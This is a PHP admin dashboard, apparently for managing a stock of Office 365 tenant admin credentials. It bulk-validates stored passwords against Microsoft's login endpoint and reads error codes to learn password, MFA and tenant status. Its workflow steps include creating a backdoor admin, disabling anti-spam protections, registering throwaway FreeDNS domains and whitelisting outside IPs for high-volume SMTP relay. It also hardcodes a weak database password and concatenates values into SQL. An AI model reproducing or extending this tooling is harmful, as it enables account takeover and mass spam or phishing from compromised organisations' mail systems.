1094 lines
56 KiB
PHP
Executable File
1094 lines
56 KiB
PHP
Executable File
<?php
|
||
/**
|
||
* Office 365 Management - WEVAL
|
||
* Gestion des comptes Office et workflow d'automatisation
|
||
*/
|
||
|
||
session_start();
|
||
header('Content-Type: text/html; charset=utf-8');
|
||
|
||
try {
|
||
$pdo = new PDO("pgsql:host=localhost;dbname=adx_system", "admin", "admin123");
|
||
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||
} catch (Exception $e) {
|
||
die("Erreur DB: " . $e->getMessage());
|
||
}
|
||
|
||
// Vérifier/créer les colonnes
|
||
try {
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS password_status VARCHAR(20) DEFAULT NULL");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS has_license BOOLEAN DEFAULT NULL");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS has_mfa BOOLEAN DEFAULT NULL");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS domains_count INTEGER DEFAULT 0");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS last_check TIMESTAMP DEFAULT NULL");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS source VARCHAR(100)");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS account_type VARCHAR(50)");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS client_id VARCHAR(100)");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS secret_id TEXT");
|
||
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS comment TEXT");
|
||
} catch (Exception $e) {}
|
||
|
||
// Fonction de vérification complète
|
||
function checkOfficeAccount($email, $password, $tenantDomain = null) {
|
||
$result = [
|
||
'password_status' => 'unknown',
|
||
'has_license' => null,
|
||
'has_mfa' => null,
|
||
'error' => null,
|
||
'access_token' => null
|
||
];
|
||
|
||
if (empty($email) || empty($password)) return $result;
|
||
|
||
$tenant = $tenantDomain ?: 'common';
|
||
if (strpos($tenant, '.onmicrosoft.com') !== false) {
|
||
$tenant = str_replace('.onmicrosoft.com', '', $tenant);
|
||
}
|
||
|
||
$url = "https://login.microsoftonline.com/$tenant.onmicrosoft.com/oauth2/v2.0/token";
|
||
|
||
$postData = http_build_query([
|
||
'grant_type' => 'password',
|
||
'client_id' => '1b730954-1685-4b74-9bfd-dac224a7b894',
|
||
'username' => $email,
|
||
'password' => $password,
|
||
'scope' => 'https://graph.microsoft.com/.default'
|
||
]);
|
||
|
||
$ch = curl_init($url);
|
||
curl_setopt_array($ch, [
|
||
CURLOPT_POST => true,
|
||
CURLOPT_POSTFIELDS => $postData,
|
||
CURLOPT_RETURNTRANSFER => true,
|
||
CURLOPT_TIMEOUT => 20,
|
||
CURLOPT_SSL_VERIFYPEER => true,
|
||
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
|
||
]);
|
||
|
||
$response = curl_exec($ch);
|
||
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||
curl_close($ch);
|
||
|
||
$data = json_decode($response, true);
|
||
|
||
if ($httpCode === 200 && isset($data['access_token'])) {
|
||
$result['password_status'] = 'valid';
|
||
$result['has_mfa'] = false;
|
||
$result['access_token'] = $data['access_token'];
|
||
return $result;
|
||
}
|
||
|
||
if (isset($data['error'])) {
|
||
$errorDesc = $data['error_description'] ?? '';
|
||
|
||
if (strpos($errorDesc, 'AADSTS50126') !== false) {
|
||
$result['password_status'] = 'invalid';
|
||
$result['has_mfa'] = false;
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS50076') !== false || strpos($errorDesc, 'AADSTS50079') !== false) {
|
||
$result['password_status'] = 'valid';
|
||
$result['has_mfa'] = true;
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS50057') !== false) {
|
||
$result['password_status'] = 'disabled';
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS50053') !== false) {
|
||
$result['password_status'] = 'locked';
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS50034') !== false) {
|
||
$result['password_status'] = 'not_found';
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS5000224') !== false) {
|
||
$result['password_status'] = 'tenant_gone';
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS65001') !== false) {
|
||
$result['password_status'] = 'valid';
|
||
$result['has_mfa'] = false;
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS50055') !== false) {
|
||
$result['password_status'] = 'expired';
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS50058') !== false) {
|
||
$result['password_status'] = 'valid';
|
||
$result['has_mfa'] = true;
|
||
}
|
||
elseif (strpos($errorDesc, 'AADSTS700016') !== false) {
|
||
$result['password_status'] = 'app_error';
|
||
}
|
||
else {
|
||
$result['password_status'] = 'error';
|
||
$result['error'] = substr($errorDesc, 0, 100);
|
||
}
|
||
}
|
||
|
||
return $result;
|
||
}
|
||
|
||
function checkLicense($accessToken) {
|
||
if (empty($accessToken)) return null;
|
||
$ch = curl_init('https://graph.microsoft.com/v1.0/me/licenseDetails');
|
||
curl_setopt_array($ch, [
|
||
CURLOPT_RETURNTRANSFER => true,
|
||
CURLOPT_TIMEOUT => 10,
|
||
CURLOPT_HTTPHEADER => ['Authorization: Bearer ' . $accessToken]
|
||
]);
|
||
$response = curl_exec($ch);
|
||
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||
curl_close($ch);
|
||
if ($httpCode === 200) {
|
||
$data = json_decode($response, true);
|
||
return !empty($data['value']);
|
||
}
|
||
return null;
|
||
}
|
||
|
||
function getDomains($accessToken) {
|
||
if (empty($accessToken)) return [];
|
||
$ch = curl_init('https://graph.microsoft.com/v1.0/domains');
|
||
curl_setopt_array($ch, [
|
||
CURLOPT_RETURNTRANSFER => true,
|
||
CURLOPT_TIMEOUT => 10,
|
||
CURLOPT_HTTPHEADER => ['Authorization: Bearer ' . $accessToken]
|
||
]);
|
||
$response = curl_exec($ch);
|
||
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||
curl_close($ch);
|
||
if ($httpCode === 200) {
|
||
$data = json_decode($response, true);
|
||
return $data['value'] ?? [];
|
||
}
|
||
return [];
|
||
}
|
||
|
||
$workflowSteps = [
|
||
0 => ['name' => 'Récupération Compte', 'desc' => 'Créer backdoor admin'],
|
||
1 => ['name' => 'Test Licence', 'desc' => 'Vérifier capacité SMTP'],
|
||
2 => ['name' => 'Add Credentials', 'desc' => 'Créer App Azure AD'],
|
||
3 => ['name' => 'Créer Domaines', 'desc' => 'FreeDNS (5 domaines)'],
|
||
4 => ['name' => 'Ajouter Domaines O365', 'desc' => 'Importer dans Office'],
|
||
5 => ['name' => 'Vérifier Domaines', 'desc' => 'Validation DNS'],
|
||
6 => ['name' => 'Config Anti-Spam', 'desc' => 'Désactiver protections'],
|
||
7 => ['name' => 'Créer Connecteur', 'desc' => 'Ajouter IPs Huawei']
|
||
];
|
||
|
||
$message = '';
|
||
$messageType = '';
|
||
$domainsModal = null;
|
||
$accName = '';
|
||
|
||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||
$action = $_POST['action'] ?? '';
|
||
|
||
switch ($action) {
|
||
case 'add_account':
|
||
$stmt = $pdo->prepare("INSERT INTO admin.office_accounts (name, tenant_domain, admin_email, admin_password, status, created_by, source) VALUES (?, ?, ?, ?, 'Pending', 'Admin', 'Manual')");
|
||
$stmt->execute([$_POST['name'], $_POST['tenant_domain'], $_POST['admin_email'], $_POST['admin_password']]);
|
||
$message = "Compte ajouté avec succès";
|
||
$messageType = "success";
|
||
break;
|
||
|
||
case 'update_step':
|
||
require_once 'office-scripts-e2e.php';
|
||
|
||
$accountId = intval($_POST['account_id']);
|
||
$newStep = intval($_POST['new_step']);
|
||
$acc = $pdo->query("SELECT * FROM admin.office_accounts WHERE id = $accountId")->fetch(PDO::FETCH_ASSOC);
|
||
|
||
if (!$acc) {
|
||
$message = "❌ Compte non trouvé";
|
||
$messageType = "error";
|
||
break;
|
||
}
|
||
|
||
$stepResults = [];
|
||
$stepSuccess = true;
|
||
|
||
// Récupérer IPs Huawei
|
||
$huaweiIPs = $pdo->query("SELECT public_ip FROM admin.huawei_instances WHERE status IN ('Running','Active') AND public_ip IS NOT NULL")->fetchAll(PDO::FETCH_COLUMN);
|
||
if (empty($huaweiIPs)) $huaweiIPs = ['47.84.117.248'];
|
||
|
||
switch ($newStep) {
|
||
case 0: // Récupération Compte
|
||
$stepResults[] = "<strong>🔐 Étape 0: Récupération Compte</strong>";
|
||
$stepResults[] = "";
|
||
if (empty($acc['admin_email']) || empty($acc['admin_password'])) {
|
||
$stepResults[] = "❌ Email ou mot de passe manquant";
|
||
$stepSuccess = false;
|
||
} else {
|
||
$checkResult = checkOfficeAccount($acc['admin_email'], $acc['admin_password'], $acc['tenant_domain']);
|
||
if ($checkResult['password_status'] === 'valid') {
|
||
$stepResults[] = "✅ Credentials valides: " . $acc['admin_email'];
|
||
$stepResults[] = $checkResult['has_mfa'] ? "⚠️ MFA activé" : "✅ Pas de MFA";
|
||
$pdo->prepare("UPDATE admin.office_accounts SET status='Active', password_status='valid', has_mfa=? WHERE id=?")->execute([($checkResult['has_mfa']?'t':'f'), $accountId]);
|
||
} else {
|
||
$stepResults[] = "❌ Credentials invalides: " . $checkResult['password_status'];
|
||
$stepSuccess = false;
|
||
}
|
||
$stepResults[] = "";
|
||
$stepResults[] = "📜 <strong>Script PowerShell:</strong>";
|
||
$stepResults[] = "<pre style='background:#1e293b;color:#22d3ee;padding:10px;border-radius:8px;font-size:11px;max-height:300px;overflow:auto;'>" . htmlspecialchars(generateScript0($acc['admin_email'], $acc['admin_password'])) . "</pre>";
|
||
}
|
||
break;
|
||
|
||
case 1: // Test SMTP
|
||
$stepResults[] = "<strong>📬 Étape 1: Test Licence SMTP</strong>";
|
||
$stepResults[] = "";
|
||
$smtp = testSMTPConnection($acc['admin_email'], $acc['admin_password']);
|
||
if ($smtp['status'] === 'ready') {
|
||
$stepResults[] = "✅ <strong>SMTP PRÊT</strong> - Relay autorisé";
|
||
$stepResults[] = "→ Capacité: 10k-50k emails/jour";
|
||
$pdo->prepare("UPDATE admin.office_accounts SET has_license='t' WHERE id=?")->execute([$accountId]);
|
||
} elseif ($smtp['status'] === 'need_connector') {
|
||
$stepResults[] = "⚠️ Auth OK - <strong>Connecteur requis</strong> (étape 7)";
|
||
$pdo->prepare("UPDATE admin.office_accounts SET has_license='t' WHERE id=?")->execute([$accountId]);
|
||
} else {
|
||
$stepResults[] = "❌ SMTP refusé: " . $smtp['message'];
|
||
$pdo->prepare("UPDATE admin.office_accounts SET has_license='f' WHERE id=?")->execute([$accountId]);
|
||
$stepSuccess = false;
|
||
}
|
||
break;
|
||
|
||
case 2: // Credentials Azure
|
||
$stepResults[] = "<strong>🔐 Étape 2: Création Credentials Azure AD</strong>";
|
||
$stepResults[] = "";
|
||
if (!empty($acc['client_id']) && !empty($acc['secret_id'])) {
|
||
$stepResults[] = "✅ Credentials déjà configurés";
|
||
$stepResults[] = "→ Client ID: " . substr($acc['client_id'],0,8) . "...";
|
||
} else {
|
||
$stepResults[] = "⚠️ <strong>Credentials NON configurés</strong>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "📜 <strong>Exécutez ce script PowerShell:</strong>";
|
||
$stepResults[] = "<pre style='background:#1e293b;color:#22d3ee;padding:10px;border-radius:8px;font-size:11px;max-height:300px;overflow:auto;'>" . htmlspecialchars(generateScript2($acc['admin_email'])) . "</pre>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "⚠️ Copiez Client ID, Tenant ID, Secret dans l'éditeur WEVAL";
|
||
$stepSuccess = false;
|
||
}
|
||
break;
|
||
|
||
case 3: // FreeDNS
|
||
$stepResults[] = "<strong>🌐 Étape 3: Création Domaines FreeDNS</strong>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "⚠️ <strong>Action manuelle requise</strong>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "1️⃣ Allez sur <a href='https://freedns.afraid.org' target='_blank'>freedns.afraid.org</a>";
|
||
$stepResults[] = "2️⃣ Créez un compte gratuit";
|
||
$stepResults[] = "3️⃣ Subdomains → Add (5 fois)";
|
||
$stepResults[] = "4️⃣ Pour chaque domaine:";
|
||
$stepResults[] = " • Type: <strong>A</strong>";
|
||
$stepResults[] = " • Subdomain: nom aléatoire";
|
||
$stepResults[] = " • Domain: choisir (mooo.com, etc.)";
|
||
$stepResults[] = " • Destination: <code>" . $huaweiIPs[0] . "</code>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "⏱️ Temps: 10-15 min (avec CAPTCHAs)";
|
||
break;
|
||
|
||
case 4: // Ajout domaines O365
|
||
$stepResults[] = "<strong>📥 Étape 4: Ajout Domaines Office 365</strong>";
|
||
$stepResults[] = "";
|
||
if (empty($acc['client_id']) || empty($acc['tenant_id']) || empty($acc['secret_id'])) {
|
||
$stepResults[] = "❌ Credentials Azure manquants - Faites d'abord l'étape 2";
|
||
$stepSuccess = false;
|
||
} else {
|
||
$stepResults[] = "✅ Credentials Azure OK";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "📜 <strong>Script PowerShell (modifiez \$Domains):</strong>";
|
||
$stepResults[] = "<pre style='background:#1e293b;color:#22d3ee;padding:10px;border-radius:8px;font-size:11px;max-height:300px;overflow:auto;'>" . htmlspecialchars(generateScript4($acc['tenant_id'], $acc['client_id'], $acc['secret_id'])) . "</pre>";
|
||
}
|
||
break;
|
||
|
||
case 5: // Vérifier domaines
|
||
$stepResults[] = "<strong>✓ Étape 5: Vérification Domaines</strong>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "⚠️ <strong>Script Python/Selenium requis</strong>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "Ou manuellement:";
|
||
$stepResults[] = "1️⃣ <a href='https://admin.microsoft.com/#/Domains' target='_blank'>Admin Center → Domains</a>";
|
||
$stepResults[] = "2️⃣ Cliquez sur chaque domaine non vérifié";
|
||
$stepResults[] = "3️⃣ Suivez les instructions de vérification TXT";
|
||
break;
|
||
|
||
case 6: // Anti-Spam
|
||
$stepResults[] = "<strong>🛡️ Étape 6: Configuration Anti-Spam</strong>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "IPs à whitelister: " . implode(", ", $huaweiIPs);
|
||
$stepResults[] = "";
|
||
$stepResults[] = "📜 <strong>Script PowerShell:</strong>";
|
||
$stepResults[] = "<pre style='background:#1e293b;color:#22d3ee;padding:10px;border-radius:8px;font-size:11px;max-height:300px;overflow:auto;'>" . htmlspecialchars(generateScript6($acc['admin_email'], $acc['admin_password'], $huaweiIPs)) . "</pre>";
|
||
break;
|
||
|
||
case 7: // Connecteur
|
||
$stepResults[] = "<strong>🔌 Étape 7: Création Connecteur Exchange</strong>";
|
||
$stepResults[] = "";
|
||
$stepResults[] = "IPs disponibles: " . implode(", ", $huaweiIPs);
|
||
$stepResults[] = "";
|
||
$stepResults[] = "📝 <strong>Créez manuellement:</strong>";
|
||
$stepResults[] = "1️⃣ <a href='https://admin.exchange.microsoft.com/#/connectors' target='_blank'>Exchange Admin → Mail flow → Connectors</a>";
|
||
$stepResults[] = "2️⃣ Add connector";
|
||
$stepResults[] = "3️⃣ From: Your organization's email server";
|
||
$stepResults[] = "4️⃣ To: Office 365";
|
||
$stepResults[] = "5️⃣ Auth: By IP address";
|
||
$stepResults[] = "6️⃣ Ajoutez: " . implode(", ", $huaweiIPs);
|
||
break;
|
||
}
|
||
|
||
if ($stepSuccess) {
|
||
$pdo->prepare("UPDATE admin.office_accounts SET current_step=?, last_update=NOW() WHERE id=?")->execute([$newStep, $accountId]);
|
||
}
|
||
|
||
$stepName = $workflowSteps[$newStep]['name'] ?? "Étape $newStep";
|
||
$icon = $stepSuccess ? "✅" : "⚠️";
|
||
$color = $stepSuccess ? '#10b981' : '#f59e0b';
|
||
|
||
$message = "<div style='text-align:left'>";
|
||
$message .= "<h3 style='color:$color;margin:0 0 15px 0'>$icon $stepName</h3>";
|
||
$message .= "<p style='color:#94a3b8;margin-bottom:15px'>Compte: <strong>" . htmlspecialchars($acc['admin_email']) . "</strong></p>";
|
||
$message .= "<div style='line-height:1.8'>" . implode("<br>", $stepResults) . "</div>";
|
||
$message .= "</div>";
|
||
|
||
$messageType = $stepSuccess ? "success" : "warning";
|
||
break;
|
||
|
||
case 'delete_account':
|
||
$pdo->prepare("DELETE FROM admin.office_connectors WHERE account_id = ?")->execute([$_POST['account_id']]);
|
||
$pdo->prepare("DELETE FROM admin.office_domains WHERE account_id = ?")->execute([$_POST['account_id']]);
|
||
$pdo->prepare("DELETE FROM admin.office_accounts WHERE id = ?")->execute([$_POST['account_id']]);
|
||
$message = "Compte supprimé";
|
||
$messageType = "success";
|
||
break;
|
||
|
||
case 'verify_account':
|
||
$accountId = intval($_POST['account_id']);
|
||
$acc = $pdo->query("SELECT admin_email, admin_password, tenant_domain FROM admin.office_accounts WHERE id = $accountId")->fetch(PDO::FETCH_ASSOC);
|
||
if ($acc && !empty($acc['admin_email']) && !empty($acc['admin_password'])) {
|
||
$checkResult = checkOfficeAccount($acc['admin_email'], $acc['admin_password'], $acc['tenant_domain']);
|
||
$hasLicense = null;
|
||
$domainsCount = 0;
|
||
|
||
if (!empty($checkResult['access_token'])) {
|
||
$hasLicense = checkLicense($checkResult['access_token']);
|
||
$domains = getDomains($checkResult['access_token']);
|
||
$domainsCount = count($domains);
|
||
|
||
$pdo->prepare("DELETE FROM admin.office_domains WHERE account_id = ?")->execute([$accountId]);
|
||
foreach ($domains as $domain) {
|
||
try {
|
||
$stmt = $pdo->prepare("INSERT INTO admin.office_domains (account_id, domain_name, verification_status) VALUES (?, ?, ?)");
|
||
$stmt->execute([$accountId, $domain['id'], $domain['isVerified'] ? 'Verified' : 'Pending']);
|
||
} catch (Exception $e) {}
|
||
}
|
||
}
|
||
|
||
$newStatus = 'Pending';
|
||
if ($checkResult['password_status'] === 'valid') {
|
||
$newStatus = 'Active';
|
||
} elseif (in_array($checkResult['password_status'], ['invalid', 'disabled', 'locked', 'not_found', 'tenant_gone', 'expired'])) {
|
||
$newStatus = 'Blocked';
|
||
}
|
||
|
||
$stmt = $pdo->prepare("UPDATE admin.office_accounts SET
|
||
password_status = ?, has_license = ?, has_mfa = ?, domains_count = ?,
|
||
last_check = NOW(), status = ? WHERE id = ?");
|
||
$stmt->execute([
|
||
$checkResult['password_status'], ($hasLicense === null ? null : ($hasLicense ? "t" : "f")), ($checkResult['has_mfa'] === null ? null : ($checkResult['has_mfa'] ? "t" : "f")),
|
||
$domainsCount, $newStatus, $accountId
|
||
]);
|
||
|
||
$statusMessages = [
|
||
'valid' => '✅ Password OK',
|
||
'invalid' => '❌ Password incorrect',
|
||
'locked' => '🔒 Compte verrouillé',
|
||
'disabled' => '⛔ Compte désactivé',
|
||
'not_found' => '❓ Utilisateur non trouvé',
|
||
'tenant_gone' => '🏢 Tenant supprimé',
|
||
'expired' => '⏰ Password expiré',
|
||
'error' => '⚠️ Erreur'
|
||
];
|
||
|
||
$message = "Vérification : " . ($statusMessages[$checkResult['password_status']] ?? $checkResult['password_status']);
|
||
$message .= " - " . $acc['admin_email'];
|
||
if ($checkResult['has_mfa']) $message .= " (MFA requis)";
|
||
$messageType = "success";
|
||
}
|
||
break;
|
||
|
||
case 'verify_all':
|
||
// Utiliser les filtres passés par le formulaire
|
||
$vLimit = intval($_POST['limit'] ?? 50);
|
||
if ($vLimit < 1 || $vLimit > 500) $vLimit = 50;
|
||
|
||
$vWhere = ["admin_email IS NOT NULL", "admin_password IS NOT NULL", "admin_password != ''"];
|
||
$vParams = [];
|
||
|
||
if (!empty($_POST['filter_search'])) {
|
||
$vWhere[] = "(name ILIKE ? OR admin_email ILIKE ? OR tenant_domain ILIKE ?)";
|
||
$s = '%' . $_POST['filter_search'] . '%';
|
||
$vParams = array_merge($vParams, [$s, $s, $s]);
|
||
}
|
||
if (!empty($_POST['filter_status'])) { $vWhere[] = "status = ?"; $vParams[] = $_POST['filter_status']; }
|
||
if (!empty($_POST['filter_password'])) { $vWhere[] = "password_status = ?"; $vParams[] = $_POST['filter_password']; }
|
||
if (!empty($_POST['filter_mfa'])) {
|
||
if ($_POST['filter_mfa'] === 'yes') $vWhere[] = "has_mfa = true";
|
||
else $vWhere[] = "(has_mfa = false OR has_mfa IS NULL)";
|
||
}
|
||
if (!empty($_POST['filter_source'])) { $vWhere[] = "source = ?"; $vParams[] = $_POST['filter_source']; }
|
||
if (!empty($_POST['filter_license'])) {
|
||
if ($_POST['filter_license'] === 'yes') $vWhere[] = "has_license = true";
|
||
else $vWhere[] = "(has_license = false OR has_license IS NULL)";
|
||
}
|
||
if (!empty($_POST['filter_domains'])) {
|
||
if ($_POST['filter_domains'] === 'yes') $vWhere[] = "domains_count > 0";
|
||
else $vWhere[] = "(domains_count = 0 OR domains_count IS NULL)";
|
||
}
|
||
|
||
$vSql = "SELECT id, admin_email, admin_password, tenant_domain FROM admin.office_accounts WHERE " . implode(' AND ', $vWhere) . " LIMIT $vLimit";
|
||
$vStmt = $pdo->prepare($vSql);
|
||
$vStmt->execute($vParams);
|
||
$allAccounts = $vStmt->fetchAll(PDO::FETCH_ASSOC);
|
||
$stats = ['valid' => 0, 'invalid' => 0, 'mfa' => 0, 'tenant_gone' => 0, 'other' => 0];
|
||
|
||
foreach ($allAccounts as $acc) {
|
||
$checkResult = checkOfficeAccount($acc['admin_email'], $acc['admin_password'], $acc['tenant_domain']);
|
||
$hasLicense = null;
|
||
$domainsCount = 0;
|
||
|
||
if (!empty($checkResult['access_token'])) {
|
||
$hasLicense = checkLicense($checkResult['access_token']);
|
||
$domains = getDomains($checkResult['access_token']);
|
||
$domainsCount = count($domains);
|
||
}
|
||
|
||
$newStatus = 'Pending';
|
||
if ($checkResult['password_status'] === 'valid') {
|
||
$newStatus = 'Active';
|
||
$stats['valid']++;
|
||
if ($checkResult['has_mfa']) $stats['mfa']++;
|
||
} elseif ($checkResult['password_status'] === 'invalid') {
|
||
$newStatus = 'Blocked';
|
||
$stats['invalid']++;
|
||
} elseif ($checkResult['password_status'] === 'tenant_gone') {
|
||
$newStatus = 'Blocked';
|
||
$stats['tenant_gone']++;
|
||
} else {
|
||
$stats['other']++;
|
||
}
|
||
|
||
$stmt = $pdo->prepare("UPDATE admin.office_accounts SET
|
||
password_status = ?, has_license = ?, has_mfa = ?, domains_count = ?,
|
||
last_check = NOW(), status = ? WHERE id = ?");
|
||
$stmt->execute([
|
||
$checkResult['password_status'], ($hasLicense === null ? null : ($hasLicense ? "t" : "f")), ($checkResult['has_mfa'] === null ? null : ($checkResult['has_mfa'] ? "t" : "f")),
|
||
$domainsCount, $newStatus, $acc['id']
|
||
]);
|
||
|
||
usleep(500000);
|
||
}
|
||
|
||
$message = "Vérification : {$stats['valid']} valides ({$stats['mfa']} MFA), {$stats['invalid']} invalides, {$stats['tenant_gone']} tenants supprimés, {$stats['other']} autres";
|
||
$messageType = "success";
|
||
break;
|
||
|
||
case 'show_domains':
|
||
$accountId = intval($_POST['account_id']);
|
||
$domainsModal = $pdo->query("SELECT * FROM admin.office_domains WHERE account_id = $accountId ORDER BY domain_name")->fetchAll(PDO::FETCH_ASSOC);
|
||
$accName = $pdo->query("SELECT name FROM admin.office_accounts WHERE id = $accountId")->fetchColumn();
|
||
break;
|
||
}
|
||
}
|
||
|
||
// Filtres
|
||
$filterStatus = $_GET['status'] ?? '';
|
||
$filterPassword = $_GET['password'] ?? '';
|
||
$filterMfa = $_GET['mfa'] ?? '';
|
||
$filterLicense = $_GET['license'] ?? '';
|
||
$filterDomains = $_GET['domains'] ?? '';
|
||
$filterSource = $_GET['source'] ?? '';
|
||
$search = $_GET['search'] ?? '';
|
||
|
||
$whereConditions = [];
|
||
$params = [];
|
||
|
||
if ($filterStatus) { $whereConditions[] = "status = ?"; $params[] = $filterStatus; }
|
||
if ($filterPassword) { $whereConditions[] = "password_status = ?"; $params[] = $filterPassword; }
|
||
if ($filterMfa === 'yes') { $whereConditions[] = "has_mfa = true"; }
|
||
elseif ($filterMfa === 'no') { $whereConditions[] = "has_mfa = false"; }
|
||
if ($filterLicense === 'yes') { $whereConditions[] = "has_license = true"; }
|
||
elseif ($filterLicense === 'no') { $whereConditions[] = "has_license = false"; }
|
||
if ($filterDomains === 'yes') { $whereConditions[] = "domains_count > 0"; }
|
||
elseif ($filterDomains === 'no') { $whereConditions[] = "domains_count = 0"; }
|
||
if ($filterSource) { $whereConditions[] = "source = ?"; $params[] = $filterSource; }
|
||
if ($search) {
|
||
$whereConditions[] = "(name ILIKE ? OR tenant_domain ILIKE ? OR admin_email ILIKE ?)";
|
||
$searchTerm = "%$search%";
|
||
$params[] = $searchTerm; $params[] = $searchTerm; $params[] = $searchTerm;
|
||
}
|
||
|
||
$sql = "SELECT * FROM admin.office_accounts";
|
||
if ($whereConditions) { $sql .= " WHERE " . implode(" AND ", $whereConditions); }
|
||
$sql .= " ORDER BY id DESC";
|
||
|
||
$stmt = $pdo->prepare($sql);
|
||
$stmt->execute($params);
|
||
$accounts = $stmt->fetchAll(PDO::FETCH_ASSOC);
|
||
|
||
// Récupérer les sources uniques pour le filtre
|
||
$sources = $pdo->query("SELECT DISTINCT source FROM admin.office_accounts WHERE source IS NOT NULL AND source != '' ORDER BY source")->fetchAll(PDO::FETCH_COLUMN);
|
||
|
||
$huaweiServers = [];
|
||
try {
|
||
$huaweiServers = $pdo->query("SELECT * FROM admin.huawei_instances WHERE status IN ('Running', 'Active')")->fetchAll(PDO::FETCH_ASSOC);
|
||
} catch (Exception $e) {}
|
||
|
||
$allAccountsStats = $pdo->query("SELECT
|
||
COUNT(*) as total,
|
||
COUNT(CASE WHEN password_status = 'valid' THEN 1 END) as valid_pwd,
|
||
COUNT(CASE WHEN has_mfa = true THEN 1 END) as with_mfa,
|
||
COUNT(CASE WHEN has_license = true THEN 1 END) as with_license,
|
||
COUNT(CASE WHEN domains_count > 0 THEN 1 END) as with_domains
|
||
FROM admin.office_accounts")->fetch(PDO::FETCH_ASSOC);
|
||
|
||
// Stats par source
|
||
$sourceStats = $pdo->query("SELECT source, COUNT(*) as cnt FROM admin.office_accounts WHERE source IS NOT NULL GROUP BY source ORDER BY cnt DESC")->fetchAll(PDO::FETCH_ASSOC);
|
||
?>
|
||
<!DOCTYPE html>
|
||
<html lang="fr">
|
||
<head>
|
||
<meta charset="UTF-8">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
<title>Office 365 Management - WEVAL</title>
|
||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||
<style>
|
||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||
body {
|
||
font-family: 'Segoe UI', system-ui, sans-serif;
|
||
background: linear-gradient(135deg, #f0f9ff 0%, #e0f2fe 50%, #f8fafc 100%);
|
||
min-height: 100vh;
|
||
color: #1e293b;
|
||
}
|
||
.container { max-width: 1900px; margin: 0 auto; padding: 20px; }
|
||
|
||
.header {
|
||
background: #ffffff;
|
||
border-radius: 16px;
|
||
padding: 24px 32px;
|
||
margin-bottom: 24px;
|
||
border: 1px solid #e2e8f0;
|
||
display: flex;
|
||
justify-content: space-between;
|
||
align-items: center;
|
||
box-shadow: 0 4px 20px rgba(6, 182, 212, 0.1);
|
||
}
|
||
.header h1 {
|
||
font-size: 28px;
|
||
font-weight: 700;
|
||
background: linear-gradient(135deg, #0891b2, #0e7490);
|
||
-webkit-background-clip: text;
|
||
-webkit-text-fill-color: transparent;
|
||
}
|
||
.header p { color: #64748b; margin-top: 4px; font-size: 13px; }
|
||
.header-actions { display: flex; gap: 10px; }
|
||
|
||
.btn {
|
||
padding: 10px 20px;
|
||
border: none;
|
||
border-radius: 8px;
|
||
cursor: pointer;
|
||
font-weight: 600;
|
||
font-size: 13px;
|
||
transition: all 0.2s;
|
||
display: inline-flex;
|
||
align-items: center;
|
||
gap: 8px;
|
||
text-decoration: none;
|
||
}
|
||
.btn-primary { background: linear-gradient(135deg, #0891b2, #06b6d4); color: white; }
|
||
.btn-success { background: linear-gradient(135deg, #059669, #10b981); color: white; }
|
||
.btn-warning { background: linear-gradient(135deg, #d97706, #f59e0b); color: white; }
|
||
.btn-danger { background: linear-gradient(135deg, #dc2626, #ef4444); color: white; }
|
||
.btn-secondary { background: #f1f5f9; color: #475569; border: 1px solid #e2e8f0; }
|
||
.btn-purple { background: linear-gradient(135deg, #7c3aed, #8b5cf6); color: white; }
|
||
.btn-help { background: linear-gradient(135deg, #0ea5e9, #38bdf8); color: white; }
|
||
.btn-sm { padding: 6px 12px; font-size: 11px; }
|
||
|
||
.stats-grid {
|
||
display: grid;
|
||
grid-template-columns: repeat(6, 1fr);
|
||
gap: 16px;
|
||
margin-bottom: 24px;
|
||
}
|
||
.stat-card {
|
||
background: #ffffff;
|
||
border-radius: 12px;
|
||
padding: 20px;
|
||
border: 1px solid #e2e8f0;
|
||
text-align: center;
|
||
}
|
||
.stat-value {
|
||
font-size: 36px;
|
||
font-weight: 700;
|
||
background: linear-gradient(135deg, #0891b2, #06b6d4);
|
||
-webkit-background-clip: text;
|
||
-webkit-text-fill-color: transparent;
|
||
}
|
||
.stat-label { color: #64748b; margin-top: 6px; font-size: 12px; }
|
||
|
||
.filters-card {
|
||
background: #ffffff;
|
